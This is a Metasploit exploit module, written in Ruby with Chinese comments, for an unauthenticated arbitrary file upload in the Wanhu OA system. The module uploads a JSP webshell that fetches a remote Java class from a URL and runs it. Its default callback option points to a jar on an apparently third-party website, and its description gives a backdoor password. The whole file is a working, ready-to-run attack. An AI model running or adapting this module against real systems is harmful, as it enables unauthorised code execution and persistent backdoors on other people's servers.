require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name' => '万户OA系统任意文件上传',
                      'Description' => %q{
                            formClassUpload.jsp 无需登录等认证即可上传任意文件,
                            因为传统菜刀马在测试过程中无法使用，故使用回调后门，密码023，回调后门使用方法见
                            http://zone.wooyun.org/content/17356
      },
                      'Author' =>
                          [
                              '路人甲',
                              '扶摇直上打飞机'
                          ],
                      'License' => MSF_LICENSE,
                      'References' =>
                          [
                              ['url', 'http://www.wooyun.org/bugs/wooyun-2015-0137140']
                          ],
                      'Privileged' => true,
                      'Platform' => ['linux'],
                      'Targets' => [['all of them', {}],],
                      'Arch' => ARCH_JAVA,
                      'DefaultTarget' => 0,
          ))
    register_options(
        [
            Opt::RHOST(),
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/']),
            OptString.new('CALLBACK', [true, '回调文件地址', '	http://www.zaoyuanxiaoxue.com/cms-data/temp_dir/xxxx/temp.files/cat.jar']),
        ], self.class)
  end

  def check
    res = send_request_cgi({
                               'method' => 'get',
                               "uri" => normalize_uri(target_uri.path, 'defaultroot', 'customize', 'formClassUpload.jsp'),
                           })
    if res.code.to_s == '200'
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Detected
    end
  end

  def upload
    @fname = "#{rand_text_alphanumeric(rand(10)+6)}.jsp"
    php = '<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>'

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="photo"')
    data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"")
    post_data = data.to_s

    print_status("Uploading #{@fname} payload...")
    res = send_request_cgi({
                               'method' => 'POST',
                               'uri' => normalize_uri(target_uri.path, 'defaultroot', 'customize', 'formClassUpload.jsp?flag=1&returnField=null'),
                               'ctype' => "multipart/form-data; boundary=#{data.bound}",
                               'data' => post_data,
                           })
    if res.code.to_s == '200'
      shelladdr = "http://#{rhost}:#{rport}/defaultroot/devform/customize/#{@fname}?u=#{callbackfile}"
      print_good("菜刀链接地址：#{shelladdr}")
    else
      fail_with(Failure::Unknown, "#{rhost} cant get crumb value ")
    end
  end

  def exploit
    if check == Exploit::CheckCode::Vulnerable
      upload
    end
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def targeturi
    datastore['TARGETURI']
  end

  def callbackfile
    datastore['CALLBACK']
  end

end